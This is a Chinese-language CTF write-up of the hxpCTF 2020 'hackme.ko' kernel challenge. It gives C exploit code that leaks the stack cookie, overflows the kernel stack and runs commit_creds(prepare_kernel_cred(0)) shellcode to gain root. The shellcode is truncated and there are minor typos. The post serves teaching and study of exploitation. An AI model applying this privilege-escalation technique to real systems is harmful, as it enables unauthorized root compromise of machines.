kernel内核漏洞利用与hxpCTF 2020案例讲解
2022-12-4 10:25:12 Author: 安全狗的自我修养(查看原文) 阅读量:16 收藏

流程

1.打开设备

2.堆泄露cookie

3. 覆盖返回地址

4.获取Root权限

5.返回用户空间

6.kaslr

7.堆栈转移

8.覆盖CR4 

9.SMEP

hxpCTF 2020 做kernel利用讲解。主要易受攻击模块是 hackme.ko

分析内核模块:

uHackme_init() 它注册一个名为hackme的设备驱动文件

uHackme_read() 设备驱动的read操作

uHackme_write() 设备驱动的write操作

uHackme_open() 设备驱动的open操作

uHackme_release() 设备驱动的release操作

使用IDA 分析hackme_read()hackme_write()函数。

 

这里读写都有很明显的栈溢出,但是判断溢出的大小为0x1000.

为了学习各种保护绕过措施,使用这个题目来当例子。

这里栈溢出保护是编译时开启的保护,qemu模拟启动是无法关闭的,但是漏洞存在泄露。可以忽略不计。

在用户空间pwn时,一个简单的堆栈缓冲区溢出,且禁用了ASLRNX保护,我们就可以将shellcode放在堆栈上某个位置,调试找出位置后,覆盖当前函数的返回地址,函数返回后执行shellcode得到一个shell

在内核pwn时,因为受攻击的函数是一个内核函数,所以传入的shellcode也会在内核中执行,通过这种方式,已经实现了内核中任意代码执行能力。

1. 打开设备

首先打开设备模块与它交互,linux中定义万物皆文件。

int global_fd;

void open_dev(){

global_fd = open("/dev/hackme", O_RDWR);

if (global_fd < 0){

puts("[!] Failed to open device");

exit(-1);

} else {

puts("[*] Opened device");

}

}

完成后,使用golba_fd来进行读取和写入。

2. 堆泄露cookie

因为有栈溢出,所以很容易绕过。tmp堆栈本身的缓冲区长度为0x80字节,堆栈cookie紧随其后。因此,将数据读到array中,cookie将位于偏移16

unsigned long cookie;

void leak(void){

unsigned n = 20;

unsigned long leak[n];

ssize_t r = read(global_fd, leak, sizeof(leak));

cookie = leak[16];

printf("[*] Leaked %zd bytes\n", r);

printf("[*] Cookie: %lx\n", cookie);

}

覆盖返回地址

这里与泄漏点cookie相同,创建一个数组,然后将偏移16处应用泄漏到的cookie。这里要注意的是,与用户层程序不同,内核函数实际上从堆栈中弹出了3个寄存器,即 rbx、r12、rbp。因此,必须在cookie之后放置3个三个虚拟值。然后下一个值将是我们希望程序返回的地址也就是提权函数。

void overflow(void){

unsigned n = 50;

unsigned long payload[n];

unsigned off = 16;

payload[off++] = cookie;

payload[off++] = 0x0; // rbx

payload[off++] = 0x0; // r12

payload[off++] = 0x0; // rbp

payload[off++] = (unsigned long)0x4141414141

puts("[*] Prepared payload");

ssize_t w = write(global_fd, payload, sizeof(payload));

puts("[!] Should never be reached");

}

4.获取Root权限

通常,最常用的方法是使用commit_creats() prepare_kernel_cred()两个函数,这些函数已经驻留在内核空间代码段中。我们只需要像 commit_creds(prepare_kernel_cred(0)) 这样调用两个函数。因为kaslr禁用,所以函数所在地址在每次启动都是恒定的。因此可以通过以下命令读取文件来获取这些地址:

cat /proc/kallsyms |grep prepare_kernel_cred

ffffffff814c67f0 T prepare_kernel_cred

ffffffff81f8d4fc r __ksymtab_prepare_kernel_cred

ffffffff81fa09b2 r __kstrtab_prepare_kernel_cred

ffffffff81fa4d42 r __kstrtabns_prepare_kernel_cred

cat /proc/kallsyms |grep commit_creds

ffffffff814c6410 T commit_creds

ffffffff81f87d90 r __ksymtab_commit_creds

ffffffff81fa0972 r __kstrtab_commit_creds

ffffffff81fa4d42 r __kstrtabns_commit_creds

然后实现root权限代码可以编写如下:

void shellcode(void){

__asm__(

".intel_syntax noprefix;"

"movabs rax, 0xffffffff814c67f0;" //prepare_kernel_cred

"xor rdi, rdi;"

"call rax; mov rdi, rax;"

"movabs rax, 0xffffffff814c6410;" //commit_creds

"call rax;"

...

".att_syntax;"

);

}


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwOTE5MDY5NA==&mid=2247486899&idx=1&sn=c18650e84eeac931b162e043cac71a81&chksm=c13f3efaf648b7ecc4bb9f82fb7675699ca7f25ff32359dca2068d5679859aa6b74d414cceef#rd
如有侵权请联系:admin#unsafe.sh